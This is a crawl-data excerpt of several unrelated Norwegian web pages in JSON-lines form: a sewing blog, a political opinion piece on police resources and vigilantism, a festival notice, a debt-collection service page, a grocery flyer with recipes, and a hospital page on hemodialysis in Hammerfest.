stoffer er p\u00e5 gang.\n\n   kl. \n\n12:52    4 kommentarer:           \n\n## torsdag 25. august 2011\n\n### F\u00f8rste skoledag og selvf\u00f8lgelig ny kjole\n\n\u00a0\n****\n\n\n\nHjemme fra skolen med ny sekk.\n\nKjolen er sydd av cord og ribb (Hilco) fra Sydilla.com. M\u00f8nster fra ottobre. Sydd i str 122. Str er grei, men den ble litt vid i halsen.\n\nN\u00e5 h\u00e5per jeg at jeg snart kommer i gang med h\u00f8stgarderoben til barna.\n\nJeg har ogs\u00e5 noen spennende nyheter. F\u00f8lg med\\!\n\n   kl. \n\n10:49    2 kommentarer:           \n\n## fredag 15. juli 2011\n\n### Gi bort\\!\n\n  \n01:52    3 kommentarer:           \n\n## s\u00f8ndag 19. juni 2011\n\n### Scooter-puta har kommet hjem\n\n  \nVespa-puta har funnet sitt rette hjem. Den er s\u00e5 heldig \u00e5 f\u00e5 bo hos noen skikkelig vespa-entusiaster. \n\n  \nVeldig morsomt\\!\n\n  \nDen andre vespa/scooter-puta ligger til salgs her:\n\nPrinsesse Vilikke Butikken\n\n   kl. \n\n14:06    1 kommentar:           \n\n## s\u00f8ndag 5. juni 2011\n\n### Mariolue i full fart\n\n\n\nHedda skulle i bursdag til n\u00e6rmeste nabogutten i dag. Han skulle ha Mariobursdag. Hva passer vel bedre enn en Mariolue?? Selvf\u00f8lgelig kom jeg p\u00e5 at jeg skulle sy den p\u00e5 fredagskvelden. Typisk meg..\n\nPlanen var at den skulle v\u00e6re i fleece, men det hadde jeg ikke s\u00e5 da ble det velour. Han ble veldig glad for gaven og da er jeg glad ogs\u00e5\\!\n\nJeg har lagt inn masse i butikken min. Ta en titt her\\! Mer kommer i l\u00f8pet av de neste dagene.\n\n   kl. \n\n14:33    2 kommentarer:           \n\n## l\u00f8rdag 4. juni 2011\n\n### Liv i leiren\\!\n\nEtter en lang, solrik og koselig dag m\u00e5 jeg si meg godt forn\u00f8yd. Masse mennesker og kjens. Her ser dere noen bilder av plassen v\u00e5r i \u00e5r. Vi stod midt i sm\u00f8r\u00f8yet\\! Supert\\! (N\u00e5 blogger jeg f\u00f8r f\u00f8rste gang fra ny mobil)  \n  \n\n\n\n  \n\n\n14:00    3 kommentarer:           \n\n## onsdag 1. juni 2011\n\n### Scoooooter\\!\n\n\n\nDette er et av de kuleste stoffene jeg vet om. Jeg har hatt det liggende i flere \u00e5r n\u00e5 i vente p\u00e5 det \"perfekte\" prosjektet.\n\n\n\n\u00a0\n\nJeg m\u00e5 bare innse at stoffer er til for \u00e5 brukes. Man trenger ikke uendelig med meter liggende i hylla.. (Selvom de gj\u00f8r en god jobb som isolasjon og st\u00f8ydemping..)\n\n\n\nEn annen ting er at man som oftest f\u00e5r kj\u00f8pt mer av favorittstoffet om man skulle g\u00e5 tom. Har det g\u00e5tt ut av produksjon finner man alltid en annen favoritt. Eller??\n\n\n\nN\u00e5 har jeg fortsatt litt igjen av det turkise\u2026\n\n   kl. \n\n13:59    6 kommentarer:           \n\n  - Prinsesse Vilikke\n", "language": "no", "__index_level_0__": "83fddf96-a31e-4d9e-a45d-ce51cd896f05"}
{"url": "http://www.liberaleren.no/2011/07/17/ikke-noe-a-skryte-av/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:10:05Z", "text": "  \n**\".. befriende fritt for kristenkonservativisme, nasjonalisme og innvandringsskepsis.\" H\u00e5kon Haugli, tidl. stortingsrepresentant (Ap)**\n\n# Ikke noe \u00e5 skryte av?\n\nav Per Aage Pleym Christensen | 17. juli 2011 kl. 20.41 | 1 kommentar\n\nLeste du om Harald Mikkelsen i Alta som ved hjelp av traktor klarte \u00e5 stanse innbrudstyven som fors\u00f8kte \u00e5 bryte seg inn i butikken hans. Harald har f\u00e5tt heltestatus hos mange \u2013 bare ikke hos politiet. De synes ikke Haralds resolutte opptreden er noe \u00e5 skryte av.  \n  \nHarald brukte gaflene p\u00e5 traktoren til \u00e5 heise opp bilen til tyven. Og holdt ham der til politiet kom. Efter 45 (\\!) minutter. Tyven fors\u00f8kte \u00e5 stikke av, men Harald s\u00f8rget bare for \u00e5 heise bilen enda h\u00f8yere opp.\n\nOrdf\u00f8reren i Alta, Geir Ove Bakken (Ap) hyller Harald Mikkelsen (66), og mener at tyven fikk seg en l\u00e6repenge.\n\nLensmannen i Alta, Inger Anita \u00d8vreg\u00e5rd uttrykker forst\u00e5else for at Mikkelsen ville verne om egen eiendom, men mener at oppf\u00f8rselen hans ligger i grenseland \u2013 og m\u00e5 vurderes. Og politiadvokat Thomas E. Darell sier til VG at Mikkelsens oppf\u00f8rsel ikke er noe \u00e5 skryte av. \u00ab- Det han har gjort er absolutt ikke noe vi oppfordrer til. Dette er en type borgervern som er sv\u00e6rt risikofylt. Man vet aldri hvilken tilstand slike personer kan v\u00e6re i\u00bb sier Darell til VG.\n\nI en demokratisk rettsstat b\u00f8r borgervern v\u00e6re un\u00f8dvendig. At folk selv tar loven i egne hender er enten fordi de tar kriminelle p\u00e5 fersk gjerning \u2013 som i dette tilfellet. Eller det er fordi de har gitt opp \u00e5 f\u00e5 hjelp av politiet.\n\n**Henlagt efter bevisets stilling**  \nVi har efterhvert mange eksempler i Norge p\u00e5 at kriminelle taes p\u00e5 fersk gjerning. Eller at vanlige borgere selv finner lovbrytere og leverer dem til politiet p\u00e5 et s\u00f8lvfat. Kriminelle, tyvgods eller ransutbytte \u2013 og bevisene. Og hva skjer? Jo, sakene henlegges \u00abefter bevisets stilling\u00bb. Hvilket er helt uforklarlig. Det mangler ikke bevis \u2013 eller vitner \u2013 n\u00e5r folk taes p\u00e5 fersk gjerning. Eller finnes med tyvgodset. Og det finnes vitner. I slike tilfeller burde ikke forholdet henlegges. Men komme opp for en domstol *umiddelbart*.\n\nJo flere saker som blir henlagt efter bevisets stilling, til tross for at poliitet har f\u00e5tt alt de trenger for en domfellelse, jo st\u00f8rre blir antallet mennesker som gir opp \u00e5 f\u00e5 hjelp av politiet. Og da kan det raskt ende opp i borgervernsituasjoner langt farligere enn at folk reagerer s\u00e5 resolutt som Harald Mikkelsen.\n\n**Ressurser, synlighet og prioritering**  \nDet sp\u00f8rsm\u00e5let man burde stille seg, er *hvorfor* politiet henlegger \u00e5penbare saker. Saker som tross alt ville hjelpe p\u00e5 statistikken \u2013 og f\u00e5 det til \u00e5 se ut som om politiet er mer effektive enn de tross alt er. Det er jo ikke politiet som har gjort jobben i tilfellene der forbryter, tyvgods og bevis blir servert dem av handlekraftige borgere.\n\nSvaret er ressurser. Folk, penger, utstyr. Hver sommer de siste \u00e5rene st\u00e5r ferdig utdannede politifolk uten jobb. Til tross for store ord fra justisminister Knut Storberget og andre politikere. Storberget er blitt konfrontert med egne utsagn denne sommeren, men svarer at alle uteksaminerte politifolk ikke kan regne med \u00e5 f\u00e5 jobb. Hvorfor ikke?\n\nHvis de har best\u00e5tt de siste pr\u00f8vene efter endt utdannelse med resultatene som kreves for \u00e5 f\u00e5 jobb \u2013 hvorfor kan de ikke ansettes? Det mangler jo ikke p\u00e5 lovbrudd \u00e5 efterforske, eller kriminelle \u00e5 arrestere? Fordi stillingene ikke er der. Det mangler stillingshjemler til \u00e5 ansette politistudenter som er kvalifiserte. Hvorfor? Fordi regjeringen ikke har bevilget pengene som trengs.\n\nI forbindelse med drukningsulykkene i Vestfold de siste dagene kom det frem at dette politidistriktet for noen \u00e5r siden hadde 5 politib\u00e5ter. N\u00e5 har de \u00e9n. Hvorfor? De b\u00e5tene de hadde var gamle og dyre i drift. Politiet f\u00e5r ikke penger til investeringer i nytt ustyr. Det er som det pleier i offentlig sektor; bygninger og utstyr forfaller. Det investeres ikke nok hverken i l\u00f8pende vedlikehold eller i nytt utstyr.\n\nPolitiets ledelse m\u00e5 prioritere de ressursene de har, n\u00e5r Storberget og hans st\u00f8ttetropper i Stortinget lar vanlige folk lide for manglende bevilgninger. Men politiledelsen er ikke frie til \u00e5 prioritere. De m\u00e5 f\u00f8lge s\u00e5kalte \u00abpolitiske signaler\u00bb. Derfor ryddes Plata, og andre mindre alvorlige lovbrudd forf\u00f8lges med nidkj\u00e6rhet.\n\n\u00c5 opprettholde lov og orden og holde kriminelle unna b\u00e5de det offentlige rom og folks hjem er blant statens prim\u00e6re oppgaver. I Oslo har kommunen m\u00e5tte ansette vektere for \u00e5 hindre omsetning av narkotika p\u00e5 Gr\u00fcnerl\u00f8kka. Men da vet vi hva som blir neste utspill fra den r\u00f8dgr\u00f8nne regjeringen; politioppgaver er ikke et kommunalt ansvar, men statens. Og vektere er jo som kjent tvilsomme folk. De r\u00f8dgr\u00f8nne vil jo vekterbransjen til livs. For vekterne g\u00e5r jo politiet i n\u00e6ringen. Og er det s\u00e5 rart \u2013 n\u00e5r de r\u00f8dgr\u00f8nne ikke s\u00f8rger for folk, penger og ressurser til politiet?\n\nN\u00e5r folk mister tilliten til politiet er det politikernes skyld. Klarer du \u00e5 holde p\u00e5 den tanken frem til stortingsvalget i 2013?\n\n1.  **Morder uten ydmykhet : Liberaleren** | 19. juli 2011 kl 00.16\n  - ## Kort sagt\n    \n      - **Forslag til ny personopplysningslov**\n        \n        Regjeringen har lagt frem forslag til ny personopplysningslov, if\u00f8lge Justis- og beredskapsdepartementet.\n    \n      - **Betalte for mye penger**\n        \n        Finnmarkssykehuset skulle ha betalt en tysk entrepren\u00f8r 3,6 millioner kroner, men endte opp med \u00e5 betale over 40 millioner. Dette if\u00f8lge NRK.\n        \n        Etter at Finnmarkssykehuset ble klar over at millioner av kroner var p\u00e5 avveie, har de bedt entrepren\u00f8ren om \u00e5 tilbakebetale pengene, uten at det har skjedd.\n    \n      - **Over 140 000 elbiler i Norge**\n        \n        Tallet p\u00e5 registrerte elbiler i Norge var 142 490 ved inngangen til 2018. Det er en \u00f8kning p\u00e5 over 40 prosent fra \u00e5ret f\u00f8r, if\u00f8lge Statistisk sentralbyr\u00e5.\n        \n        Politikerne har gjennom avgiftspolitikken gitt elbiler konkurransefortrinn.\n    \n      - **\u00d8kt grensehandel**\n        \n        Nordmenn brukte 15,1 milliarder kroner p\u00e5 grensehandel i 2017 mot 13,8 milliarder kroner i 2016, if\u00f8lge tall fra Statistisk sentralbyr\u00e5.\n        \n        Norske avgifter vedtatt av Stortinget har mye av \u00e5ren for at utenlandske bedrifter tjener penger p\u00e5 nordmenn. Det er p\u00e5 Stortinget tverrpolitisk enighet om mange avgiftene.\n        \n        Avgifter skal regulere forbruk, men ogs\u00e5 finansiere en gigantisk offentlig sektor.\n    \n      - **Historisk f\u00e5 lovbrudd anmeldt i 2017**\n        \n        Politiet og p\u00e5talemyndigheten registrerte 318 600 lovbrudd i fjor. Det laveste antallet i statistikkens 25-\u00e5rige historie, if\u00f8lge Statistisk sentralbyr\u00e5.\n        \n        Det er mulig \u00e5 bruke tallene p\u00e5 mange m\u00e5ter, alt fra i innvandringsdebatter til politiets krav om flere virkemiddel for \u00e5 bekjempe kriminalitet.\n    \n      - **Rapporteringsplikt for deleplattformer**\n        \n        Finansdepartementet har sendt p\u00e5 h\u00f8ring forslag om en plikt for digitale plattformer til \u00e5 rapportere til Skatteetaten, if\u00f8lge Regjeringen.no.\n    \n      - **Endringer i regjeringsapparatet**\n        \n        Tirsdag morgen trakk Sylvi Listhaug seg som justis-, beredskaps- og innvandringsminister, eller fikk avskjed i n\u00e5de som det heter offisielt. Dette har f\u00f8rt til endringer blant statssekret\u00e6rene, if\u00f8lge Statsministerens kontor.\n        \n        Statsr\u00e5d Per Sandberg har overtatt styret av Justis- og beredskapsdepartementet, i tillegg til det ansvarsomr\u00e5det han i dag har i N\u00e6rings- og fiskeridepartementet.\n    \n      - **Hvordan gikk det med dem som sluttet i petroleumsn\u00e6ringene?**\n        \n        Av dem som sluttet i petroleumsn\u00e6ringene f\u00f8rste halv\u00e5r 2016, var 57 prosent i jobb et halvt \u00e5r senere. Andelen i jobb var minst i Rogaland, if\u00f8lge Statistisk sentralbyr\u00e5.\n    \n      - **En spennende tirsdag**\n        \n        Det er fortsatt sv\u00e6rt f\u00e5 som vet hva statsminister Erna Solberg gj\u00f8r p\u00e5 tirsdag n\u00e5r mistillitsforslaget mot justis-, beredskaps- og innvandringsminister Sylvi Listhaug (FrP) skal opp i Stortinget.\n        \n        Etter landsstyrem\u00f8tet i KrF tyder mye p\u00e5 at Erna Solberg m\u00e5 gi et nytt departement til Listhaug, eller at Listhaug m\u00e5 tilbake til Stortinget. Regjeringen b\u00f8r ikke g\u00e5 av p\u00e5 denne saken\\!\n    \n      - **Det religi\u00f8se Norge endrer seg**\n        \n        Kirkestatistikken til Statistisk sentralbyr\u00e5 viser at f\u00e6rre g\u00e5r i gudstjenester og f\u00e6rre barn blir d\u00f8pt.\n\n  - ## Dagens sitat\n    Morality is always the product of terror; its chains and strait-waistcoats are fashioned by those who dare not trust others, because they dare not trust themselves, to walk in liberty.\n    \n", "language": "no", "__index_level_0__": "db43e136-f9bd-42a2-a60b-d83de9513fc4"}
{"url": "https://midnattsrocken.ticketco.events/e/midnattsrocken_2018/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00243.warc.gz", "warc_date": "2018-03-24T23:02:36Z", "text": "# Midnattsrocken 2018\n\n\nVerdens nordligste utend\u00f8rs musikkfestival heter Midnattsrocken og arrangeres 5. - 8. juli 2018 p\u00e5 Brennelvneset i Lakselv. Festivalen har egen festivalcamp for b\u00e5de telt og campingvogn, dusjmuligheter med transport til og fra dusjanlegg og et yrende liv i en hel uke b\u00e5de f\u00f8r, under og etter festivalen.\u00a0\n\n  \n\n\n\n  \nInformasjon om artister for 2018 oppdateres fortl\u00f8pende. F\u00f8rste artistslipp kommer i l\u00f8pet av h\u00f8sten.\u00a0\n\nSlutter s\u00f8ndag **8 jul 2018** 12:00\n\n", "language": "no", "__index_level_0__": "217027d0-1c17-45a4-8eea-f7ed0efaf2b3"}
{"url": "http://opas.no/vare-tjenester/formidler-inkassotjenester/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00566.warc.gz", "warc_date": "2018-03-24T23:28:32Z", "text": "# \n\n# Innfordring av pengekrav\n\n\n\n### Vi har mange \u00e5rs erfaring fra inkasso, og har alle n\u00f8dvendige ressurser tilgjengelig.\n\nInnfordring av forfalte pengekrav er et fag som ut\u00f8ves best av de som kan det, og som vet hvordan saker l\u00f8ses raskest. Noen p\u00e5st\u00e5r at det l\u00f8nner seg \u00e5 gj\u00f8re jobben selv, men det blir som \u00e5 droppe snekkeren for \u00e5 bygge hus.\n\nHver sak er forskjellig og m\u00e5 behandles individuelt. L\u00f8sningen ligger i \u00e5 vite hvilke muligheter man har og bruke rett verkt\u00f8y til rett tid for \u00e5 oppn\u00e5 best dekningsmulighet. Saker l\u00f8ses raskt gjennom dialog og forhandlinger. F\u00f8r det iverksettes rettslige skritt eller tvangsinndrivelse, har vi gjort grundige unders\u00f8kelser om dekningsmulighet, og n\u00e5r tidspunktet er rett for \u00e5 oppn\u00e5 dekning.\n\n", "language": "no", "__index_level_0__": "e81b43fb-cde1-45d1-996c-6d605a952185"}
{"url": "http://docplayer.me/10651300-20-hos-rimi-denne-uken-god-paske-grillpolser-gilde-3-x-480-g-19-67-stk-klasetomater-pr-kg.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-25T00:26:02Z", "text": "2 LAMMEL\u00c5R MED SYLTET R\u00d8DL\u00d8K 4 5 personer, ca 3-3,5 timer 1 stk lammel\u00e5r, 2 3 kg 4 5 stilker frisk rosmarin eller 1 \u00bd ts t\u00f8rket 1 2 hele hvitl\u00f8k 1 stk. l\u00f8k i tykke skiver 3 stk. store gulr\u00f8tter, i grove biter 10 stk. sm\u00e5 gulr\u00f8tter, delt p\u00e5 langs 1 stor r\u00f8dl\u00f8k i tynne skiver 1 pk aspargesb\u00f8nner 8 10 poteter, i skiver 1 dl rapsolje 5 ss sm\u00f8r 3 ss honning 0,5 dl eplecidereddik 1 dl sukker 2 2\u00bd dl fl\u00f8te 50 g revet gul ost 1 2 ss hvetemel, om behov Salt & pepper Forvarm ovnen til 125 C. Gni lammel\u00e5ret godt inn med salt og pepper. Legg s\u00e5 i urtekvastene, 1 \u00bd hvitl\u00f8k, l\u00f8k og gulr\u00f8tter i en langpanne. Hell over 1 dl olje. Legg i l\u00e5ret og stikk inn steketermometer, pass p\u00e5 at du ikke treffer beinet. Hell p\u00e5 ca 1 liter vann. Stek p\u00e5 125 C i 2-3 timer. N\u00e5r steketermometeret viser 60 C er steken rosa, n\u00e5r det viser 70 C er den gjennomstekt. Syltede r\u00f8dl\u00f8k: Kok opp 0,5 dl eplecidereddik 1 dl sukker og 1,5 dl vann. Kutt r\u00f8dl\u00f8ken i tynne halvm\u00e5neskiver og hell syltelaken over l\u00f8ken. L\u00f8ken trenger bare en time eller to i laken, men den kan ogs\u00e5 st\u00e5 over natten. Fl\u00f8tegratinerte poteter: Potetene skrelles og skj\u00e6res i tynne skiver f\u00f8r de legges over i en ildfast form. Dryss s\u00e5 over 2 fedd finhakket hvitl\u00f8k, 1 ts salt og \u00bd pepper. Hell over fl\u00f8ten. N\u00e5r du tar ut steken skrur du opp ovnen til 200 C og setter inn potetformen. Beregn steketiden til vel 45 minutter. Ca. 20 minutter f\u00f8r formen skal tas ut, drysses det over et lag med reven ost. La steken hvile minst en halv time innpakket i folie f\u00f8r den skj\u00e6res opp. Imens kan du lage ferdig resten av tilbeh\u00f8ret. Saus: Sil av kraften fra langpanna, her b\u00f8r det v\u00e6re 6 8 dl. Smelt 1 ss sm\u00f8r i en kjele. Tilsett 1 ss solb\u00e6rsaft, og la det koke litt. Tilsett 1 ss soyasaus, kraften fra langpanna. Salt og pepper etter smak. Sausen kan st\u00e5 \u00e5 godgj\u00f8re seg lenge p\u00e5 ovnen. Trenger den \u00e5 tyknes kan du r\u00f8re ut litt hvetemel i kaldt vann og tilsette under omr\u00f8ring. La den da koke litt f\u00f8r servering, og tilsett 1 ss sm\u00f8r. Honning glaserte gulr\u00f8tter: Smelt 3 ss sm\u00f8r og 3 ss honning i en liten stekepanne. Legg gulr\u00f8ttene i pannen, og stek noen f\u00e5 minutter til de er glaserte. Kok opp en kjele med lettsaltet vann. Aspargesb\u00f8nnene forvelles rask noen minutter rett f\u00f8r servering ,- Pulled Pork Tulip, 550 g, 136,18/kg Lammestek Matmestern, surret, u/ben, pr. kg Lammel\u00e5r Smart365, fryst, pr. kg\n\n\n\n3 Indrefilet av svin Matmestern, pr. kg Ostegrill/Bacongrill Gilde, 480 g, 108,96/kg Hamburger m/ havsalt\\&timian Gilde, 240 g, 214,17/kg Hamburger Matmestern, 2 x 120 g, 149,58/kg N\u00e5 Grilldeig Tine, 400 g, 74,75/kg Nyhet\\! Tid for grill\\! TEXASBURGER 600 g kj\u00f8ttdeig 4 stk hamburgerbr\u00f8d 4 skiver bacon 4 skiver cheddar 1 avocado, i biter 10 sm\u00e5 tomater delt i biter, eller to store 1 r\u00f8dl\u00f8k i skiver 4 store blader hodesalat eller lignende 2 ss olivenolje 1 fedd hvitl\u00f8k, finhakket 1 ts chilipulver eller tacokrydder Ketchup Salt & pepper Ha kj\u00f8ttdeig, en klype salt, pepper, chilipulver eller tacokrydder og et finhakket hvitl\u00f8ksfedd i en bolle. R\u00f8r rundt til det begynner \u00e5 bli seigt. Form kj\u00f8ttdeigen til en ball, klem den flat og form den rund som en sirkel. Vask salatbladene og stek bacon i panne. Lag salsa av avocado, tomater, r\u00f8dl\u00f8k. Vend inn 2 ss olivenolje og litt grovmalt pepper. Grill eller stek kj\u00f8ttet, ca 3-4 minutter p\u00e5 h\u00f8y varme p\u00e5 hver side. Legg p\u00e5 osten n\u00e5r det ca 2 minutter igjen. Ha p\u00e5 lokk s\u00e5 osten smelter. Varm burgerbr\u00f8dene p\u00e5 hver side. Sm\u00f8r litt ketchup p\u00e5 bunnen. Legg p\u00e5 salatbladene, tomat & avocadosalsa, hamburgerkj\u00f8ttet og bacon. Beef burger Gilde, 227 g, 197,80/kg\n\n\n\n4 SPAR % Frisk blandinger Frisk, assortert, g. ALLTID BILLIG FRUKT 20,Store urter Pr. potte 27,- Gr\u00f8nne druer i kurv 500 g, 54,-/kg\n\n\n\n### Skrell gulr\u00f8ttene, og kutt de i grove biter. Finhakk hvitl\u00f8ken. Ha dette sammen med sm\u00f8ret i en gryte og surr dette p\u00e5 middels varme i noen minutter.\n\n### Serveringstips: Server gjerne med et utvalg av sterke eller majonesbaserte sauser. Gir en og aroma og smaker perfekt til fisken.\n\n Geitmyra juniorkokk Bare rot\\! Et kurs ved Geitmyra matkultursenter med Hans Edvard Reppen H\u00f8sten 2015 Kursrekken er gjennomf\u00f8rt med st\u00f8tte av Eckbos Legater Sylta beter Sylting er en gammel konserveringsmetode\n### 1 Sett over vann til blomk\u00e5l og sett ovnen p\u00e5 200 grader. 2 Baconet strimles og stekes gyllent og spr\u00f8tt i stekepanne p\u00e5 litt over\n\n### POTET- OG PURREL\u00d8KSUPPE EKSPRESSMENY. med bacon og krutonger. Suppe: Bacon: BASISVARER: Salt, pepper, solsikke-/rapsolje.\n\n Tips: Litt nykvernet sort pepper, kaldpresset olivenolje og revet muskatn\u00f8tt er godt \u00e5 tilsette ved servering. \u00d8nsker du en rikere smak p\u00e5 suppen, kan du tilsette en fl\u00f8teskvett, cr\u00e8me fra\u00eeche eller r\u00f8mme\n\n### ORIGINALMENY / DUO. Ristede mandler, pinjekjerner eller andre n\u00f8tter er ogs\u00e5 veldig godt \u00e5 tilsette i suppa ved servering.\n\n", "language": "no", "__index_level_0__": "f1eee881-d939-4e22-b8ad-e1de6a608c97"}
{"url": "https://finnmarkssykehuset.no/behandlinger/hemodialyse-hammerfest", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00143.warc.gz", "warc_date": "2018-03-24T23:48:00Z", "text": "# Hemodialyse | Hammerfest\n\n## \n\nMedisinsk avdeling, Hammerfest\n\nIngress\n\nNyrenes oppgave er bl. a. \u00e5 rense ut avfallsstoffer og overskuddsvann\u00a0fra kroppen, og dette\u00a0kommer ut som\u00a0urin. Ved sterkt nedsatt nyrefunksjon kan\u00a0b\u00e5de avfallsstoffer og vann\u00a0samle seg opp og v\u00e6re skadelig. Dette kan fjernes ved \u00e5 rense blodet med et kunstig nyre/dialysefilter og en dialysemaskin, betegnet som hemodialyse (Hemo\u00a0= blod).  \n\n### Innledning\n\nInnledning\n\nAvfallsstoffer og/eller vann produseres kontinuerlig og samler seg opp mellom behandlingene, s\u00e5\u00a0behandlingen m\u00e5 gjentas jevnlig. Behandlingen kan vare i 3\u20135 timer, men de fleste trenger hemodialyse i\u00a04 timer, 3 eller 4\u00a0ganger i uken.\n\nDialyselegen bestemmer behandlingsprogrammet som passer for den enkelte.\n\nBlodpr\u00f8ver tas jevnlig for \u00e5 m\u00e5le behandlingsbehov og \u2013effekt.\n\n### Henvisning og vurdering\n\nHenvisning og vurdering\n\n## fastlege eller annen helsetjeneste henviser til utredning\n\nHenvisningsrutiner\n\n## 1\\. F\u00f8r\n\nForberedelse\n\nF\u00f8r oppm\u00f8te til avtalt tid trengs ingen spesielle forberedelser.\n\nHvis det er noe spesielt du m\u00e5 ta hensyn til vil du f\u00e5 beskjed om det.\n\nP\u00e5 dialyseavdelingen m\u00e5 du veies f\u00f8r behandlingen starter. Dette for \u00e5 m\u00e5le eventuell vektforskjell etter forrige behandling som skyldes oppsamlet vann.\u00a0Deretter setter du deg i en behandlingsstol, og blodtrykk m\u00e5les.\n\n## 2\\. Under\n\n Varighet   3\u20135 timer \n\nGjennomf\u00f8ring, del 1\n\nUnder behandlingen sitter du i behandlingsstolen ved dialysemaskinen.\n\nFor \u00e5 kunne rense blodet ditt trengs en tilgang til ditt blodsystem, en s\u00e5kalt blodtilgang. Det er enten en A/V-fistel (to sammenkoblede blod\u00e5rer p\u00e5 en arm) eller et kateter i en stor blod\u00e5re, vanligvis ved halsen. En sykepleier kobler deg\u00a0s\u00e5 til\u00a0dialysemaskinen. Dialysen (rensingen) starter og overskuddsvann trekkes\u00a0gradvis ut i l\u00f8pet av behandlingstiden om dette er n\u00f8dvendig.\u00a0\n\nUnder dialysen\u00a0vil litt av blodet ditt (ca. 2 dl) sirkulere i slangesett og dialysefilteret.\u00a0  \nBehandlingen er n\u00f8ye overv\u00e5ket av kontrollfunksjonene i dialysemaskinen og av personalet og varer i 3\u20135 timer.  \nDialysebehandlingen\u00a0er ikke forbundet med smerte.\n\nPersonalet er i samme rom hele tiden og kan lett tilkalles ved behov. Blodtrykk m\u00e5les underveis.\u00a0I l\u00f8pet av behandlingen kan du ogs\u00e5 se p\u00e5 TV, lese o. l.\u00a0\n\nN\u00e5r behandlingen avsluttes\u00a0f\u00e5r du tilbake blodet som\u00a0er i slangesettet og dialysefilteret, og du blir koblet fra maskinen. Du har n\u00e5 f\u00e5tt\u00a0renset kroppen for denne gang.\n\nGjennomf\u00f8ring, del 2\n\n## 3\\. Etter\n\nOppf\u00f8lging\n\nEtter dialysen m\u00e5les blodtrykk og ny veiing er n\u00f8dvendig. Dette for \u00e5 ha et utgangspunkt for \u00e5 m\u00e5le eventuell vektoppgang til neste behandling\u00a0som f\u00f8lge av nytt oppsamlet overskuddsvann.\n\nOm n\u00f8dvendig kan vi tilrettelegge transport til og fra dialyseavdelingen.\n\n#### \u200bHammerfest bussterminal ligger i Hammerfest sentrum, 2,5 kilometer fra Hammerfest sykehus.\n# Busstider Hammerfest sykehus\n\n# Parkering ved Hammerfest sykehus\n\n**All parkering p\u00e5 sykehusomr\u00e5det skal foreg\u00e5 p\u00e5 oppmerkede og skiltede plasser.**\n\n## Pris kr. 18,- per d\u00f8gn \u2013 Takstgruppe 8802\n\n### NB\\!  \nFra 1. juli 2017 \u00f8ker parkeringsavgiften til kr. 25,- per d\u00f8gn.\n\n# Pasientreiser\n\n\u200bHovedregelen er at du f\u00e5r dekket reise til og fra behandling med billigste ruteg\u00e5ende transport.\n\n# Reisemuligheter til og fra Hammerfest sykehus\n\nOversikt over reisemuligheter til og fra Hammerfest sykehus\n\n## Praktisk informasjon\n\n# Kafeteria\n\n\u00a0\n\nDu finner kafeteriaen i sykehuset i\u00a0f\u00f8rste etasje mot s\u00f8rvest. Her kan du nyte byens fineste utsikt over S\u00f8r\u00f8ysundet mens du nyter en kopp kaffe, en vaffel eller en full middag. Du er selvf\u00f8lgelig hjertelig velkommen selv om du ikke kj\u00f8per noe \u00e5 spise eller drikke ogs\u00e5.\n\nKafeteriaen er alltid \u00e5pen.\n\n### Matservering\n\n**Hverdager**  \n08:00 \u2013 13:30\n\n**L\u00f8rdager, s\u00f8ndager og helligdager**  \n11:45\u00a0\u2013 12:30\u00a0\n\n# Kapellet \u2013 det stille rom\n\n\u00a0\n\nDette rommet kan benyttes av pasienter, p\u00e5r\u00f8rende og ansatte. Du er velkommen hit, det er alltid \u00e5pent. Her kan du finne ro til ettertanke. Du kan tenne lys, lese og be. Kapellet har et godt piano og en cd-spiller. I rommet utenfor finnes aktuell litteratur, salmeb\u00f8ker og bibler.\n\nKapellet er \u00e5pent for alle, uavhengig av tro eller livssyn.\n\nKapellet ligger p\u00e5 grunnplanet i sykehuset, til venstre n\u00e5r du har passert kafeteriaen. F\u00f8lg skiltene.\n\n# Kiosk\n\nNarvesen har kioskutsalg i hovedvestibylen p\u00e5 sykehuset. Her f\u00e5r du kj\u00f8pt alle vanlige kioskvarer, samt forskjellige n\u00f8dvendighetsartikler som du kan f\u00e5 bruk for p\u00e5 sykehuset, som tannb\u00f8rster, undert\u00f8y og toalettartikler \u2013 og selvf\u00f8lgelig lesestoff av alle slag.\u00a0\n\n### \u00c5pningstider\n\n# Oversiktskart\n\n# Pasientverter\n\nPasientvertordningen ved Hammerfest sykehus er et samarbeid mellom Finnmarkssykehuset og frivillighetssentralen i Hammerfest.\n\nPasientvertene er resepsjonens \u00abforlengede arm\u00bb ute p\u00e5 gulvet i hovedvestibylen. De hjelper pasienter og bes\u00f8kende med \u00e5 finne fram\u00a0 til poliklinikker og andre behandlingssteder ved Hammerfest sykehus, og f\u00f8lger dem som \u00f8nsker det dit de skal. Pasientvertene kan ogs\u00e5 bist\u00e5 med f\u00e5 tak i rullestol og \u00e5 trille dem som trenger det.\n\nDu finner pasientvertene ved \u00abbasestasjonen\u00bb deres i hovedvestibylen og ellers rundt omkring p\u00e5 sykehuset. Pasientvertene er lette \u00e5 kjenne igjen i marinebl\u00e5 uniformer, og de g\u00e5r alltid med navneskilt. Pasientvertene kan n\u00e5s p\u00e5 telefon **904\u00a012\u00a0756**\n\n# Prestetjenesten\n\n\u00a0\n\nHammerfest sykehus har egen prest. Prestetjenesten er et tilbud til pasienter, p\u00e5r\u00f8rende og ansatte. Sykehuspresten heter Karen Lorentzen. Sykehuset har ogs\u00e5 avtale med byens prester. \u00a0De kan tilkalles til tjenester som ikke kan vente, n\u00e5r sykehuspresten ikke er til stede.\n\n### Samtale\n\nSykdom og usikkerhet omkring helse og egen framtid ber\u00f8rer dype og grunnleggende livsverdier i oss. Det er ikke en forutsetning at man deler kirkens tro for \u00e5 f\u00e5 et m\u00f8te med presten. Utgangspunktet for en samtale kan v\u00e6re n\u00e5r du trenger noen som kan lytte, n\u00e5r du er i en vanskelig livssituasjon, n\u00e5r du vil dele sp\u00f8rsm\u00e5l som ligger deg p\u00e5 hjertet. Presten skal la samtalen foreg\u00e5 ut fra 